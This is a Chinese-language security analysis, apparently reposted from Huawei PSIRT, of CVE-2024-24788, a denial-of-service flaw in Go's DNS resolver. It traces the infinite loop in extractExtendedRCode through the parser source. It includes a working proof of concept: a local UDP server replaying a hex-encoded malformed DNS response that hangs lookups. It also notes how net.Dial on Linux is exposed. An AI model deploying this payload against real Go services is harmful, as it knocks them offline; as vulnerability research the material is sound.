project:Golang
Publish Date:05/08/2024
CVE-ID:CVE-2024-24788
Exploits:见下文
Affect Version:< 1.2.22
Fix Version:1.2.22
Fix Commit:https://go-review.googlesource.com/c/go/+/578375/2/src/net/dnsclient_unix.go
A malformed DNS message in response to a query can cause the Lookup functions to get stuck in an infinite loop.
寻找 extractExtendedRCode 调用点
func
main
() {
r
:= net.Resolver{PreferGo: true}
r
.LookupNS
(
context
.TODO
(), "
test
.dns
.o1hy
.com
")
fmt
.Println
("
over
")
}
net.extractExtendedRCode (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/dnsclient_unix.
go
:
262
)
net.checkHeader (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/dnsclient_unix.
go
:
207
)
net.(*Resolver).tryOneName (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/dnsclient_unix.
go
:
314
)
net.(*Resolver).lookup (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/dnsclient_unix.
go
:
462
)
net.(*Resolver).goLookupNS (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/lookup.
go
:
815
)
net.(*Resolver).lookupNS (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/lookup_unix.
go
:
108
)
net.(*Resolver).LookupNS (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/net/lookup.
go
:
610
)
main.main (/Users/ymoon/workspace/project/golang/
1
-CloudMitm/test/test_dns.
go
:
54
)
runtime.main (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/runtime/proc.
go
:
271
)
runtime.goexit (/opt/homebrew/Cellar/
go
/
1.22
.1
/libexec/src/runtime/asm_arm64.s:
1222
)
触发报错
func
extractExtendedRCode
(p dnsmessage.Parser, hdr dnsmessage.Header)
dnsmessage
.
RCode
{
p.SkipAllAnswers()
p.SkipAllAuthorities()
for
{
// 此函数不能报错
ahdr, err := p.AdditionalHeader()
if
err !=
nil
{
return
hdr.RCode
}
// 这里的 type 不能为 TypeOPT
if
ahdr.Type == dnsmessage.TypeOPT {
return
ahdr.ExtendedRCode(hdr.RCode)
}
// 此函数需要报错
p.SkipAdditional()
}
}
根据循环逻辑,可以理解为调用完 resourceHeader 后会调用 skipResource,要求为:resourceHeader不能报错,skipResource需要报错。
// 这里的 if 一直为 true
// p.section 和 sec 均为常量
if
p.resHeaderValid && p.section == sec {
// p.off 不可控
// 此时如果让 p.resHeaderLength 为一个很大的值,就会让下面的报错触发了。
newOff := p.off +
int
(p.resHeaderLength)
if
newOff >
len
(p.msg) {
return
errResourceLen
}
p.off = newOff
p.resHeaderValid =
false
p.index++
return
nil
}
控制 p.resHeaderLength
resourceHeader 函数
func
(p *Parser)
resourceHeader
(sec section)
(ResourceHeader, error)
{
if
p.resHeaderValid {
p.off = p.resHeaderOffset
}
if
err := p.checkAdvance(sec); err !=
nil
{
return
ResourceHeader{}, err
}
var
hdr ResourceHeader
// 由此解析 msg 到 hdr 中
off, err := hdr.unpack(p.msg, p.off)
if
err !=
nil
{
return
ResourceHeader{}, err
}
p.resHeaderValid =
true
p.resHeaderOffset = p.off
p.resHeaderType = hdr.Type
// 需要让 hdr.Length 为一个大值
p.resHeaderLength = hdr.Length
p.off = off
return
hdr,
nil
}
跟入到 unpack 中
func
(p *Parser)
resourceHeader
(sec section)
(ResourceHeader, error)
{
if
p.resHeaderValid {
p.off = p.resHeaderOffset
}
if
err := p.checkAdvance(sec); err !=
nil
{
return
ResourceHeader{}, err
}
var
hdr ResourceHeader
// 由此解析 msg 到 hdr 中
off, err := hdr.unpack(p.msg, p.off)
if
err !=
nil
{
return
ResourceHeader{}, err
}
p.resHeaderValid =
true
p.resHeaderOffset = p.off
p.resHeaderType = hdr.Type
// 需要让 hdr.Length 为一个大值
p.resHeaderLength = hdr.Length
p.off = off
return
hdr,
nil
}
小结
- 确保 resourceHeader 正常解析,并且在解析时 unpack 解析到了 Addtional Data 的长度是一个大值。
- 确保 Addtional Data 的 Type 不是 message.TypeOPT
通过上面的小结可以直接对已有的数据包进行修改,然后重放这个 response 就可以了。
func
main
()
{
go
StartUdp()
r := net.Resolver{PreferGo:
true
, Dial:
func
(ctx context.Context, network, address
string
)
(net.Conn, error)
{
udpAddr, err := net.ResolveUDPAddr(
"udp"
,
"127.0.0.1:1153"
)
if
err !=
nil
{
log.Println(err)
os.Exit(
1
)
}
return
net.DialUDP(
"udp"
,
nil
, udpAddr)
}}
r.LookupNS(context.TODO(),
"test.dns.o1hy.com"
)
fmt.Println(
"over"
)
}
// 接受 DNS 请求
func
StartUdp
()
{
addr :=
"0.0.0.0:1153"
udpAddr, err := net.ResolveUDPAddr(
"udp"
, addr)
if
err !=
nil
{
log.Println(udpAddr)
}
conn, err := net.ListenUDP(
"udp"
, udpAddr)
defer
conn.Close()
if
err !=
nil
{
log.Println(err)
}
for
{
hanldUdp(conn)
}
}
func
hanldUdp
(conn *net.UDPConn)
{
var
buf [
512
]
byte
n, addr, _ := conn.ReadFromUDP(buf[
0
:])
fmt.Println(buf[:n])
// 修改这个值为一个比实际 Additional Data 大的值。通常 go 获取到的 Data 都是 0
hdrLength :=
"0001"
// 下面数据中的 hdrType 也已经进行了修改
data, err := hex.DecodeString(
"daa581820001000000000001047465737403646e73046f31687903636f6d000002000100003104d000000000"
+ hdrLength)
// 修改 dns resp 的 id
data[
0
] = buf[
0
]
data[
1
] = buf[
1
]
_, err = conn.WriteToUDP(data, addr)
if
err !=
nil
{
fmt.Println(
"发送响应失败:"
, err)
return
}
}
根据 extractExtendedRCode 的调用点可以看到,TXTNSMXSRV… 等会受到影响,进一步分析函数调用发现,对于 CNAME 等其实也是受影响了。总之都会触发到 tryOneName 处。
net.Dial、http.XXX 场景
理论上,应该影响到 net.Dial 这些场景才对。但实际上没有触发。
net.(*Resolver).lookupIP (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup_unix.go:63)
net.(*Resolver).lookupIP-fm (未知源:1)
net.init.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/hook.go:22)
net.(*Resolver).lookupIPAddr.func1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:334)
singleflight.(*Group).doCall (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:93)
singleflight.(*Group).DoChan.gowrap1 (/opt/homebrew/Cellar/go/1.22.1/libexec/src/internal/singleflight/singleflight.go:86)
runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)
... 进入到匿名函数中
net.(*Resolver).lookupIPAddr (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/lookup.go:342)
net.(*Resolver).internetAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/ipsock.go:288)
net.(*Resolver).resolveAddrList (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:283)
net.(*Dialer).DialContext (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:490)
net.(*Dialer).Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:434)
net.Dial (/opt/homebrew/Cellar/go/1.22.1/libexec/src/net/dial.go:401)
main.main (/Users/ymoon/workspace/project/golang/1-CloudMitm/test/test_dns.go:53)
runtime.main (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/proc.go:271)
runtime.goexit (/opt/homebrew/Cellar/go/1.22.1/libexec/src/runtime/asm_arm64.s:1222)
net/conf.go#func goosPrefersCgo() bool
漏洞利用
如果是通过公共 DNS 服务器层层解析过来后,公共 DNS 服务器会发现数据包中的 length 存在问题,从而丢弃异常的数据。
- 构造出不会被公共 DNS 服务器丢弃的数据包
-
找到其他触发 extractExtendedRCode 中报错点。目前我找到的这个点是最明显的…
linux下的 net.Dial
在上一个小结中发现,在 windows 和 mac 系统下,golang 会使用 cgo 的 dns 解析去解析 URL。但是在 linux 下确有着不一样的表现。
在使用 net.Dial 时,linux 下还是会通过 golang 的 DNS 解析去解析地址,此时就会走到 tryOneName 中。所以只需要针对 net.Dial 去查询的 DNS 返回对应的数据就可以造成 DOS 了,即如下环境
package main
import "net"
func main() {
net.Dial("tcp", "www.baidu.com:80")
}
原文始发于微信公众号(华为安全应急响应中心):CVE-2024-24788 Golang DNS解析过程中的DOS漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论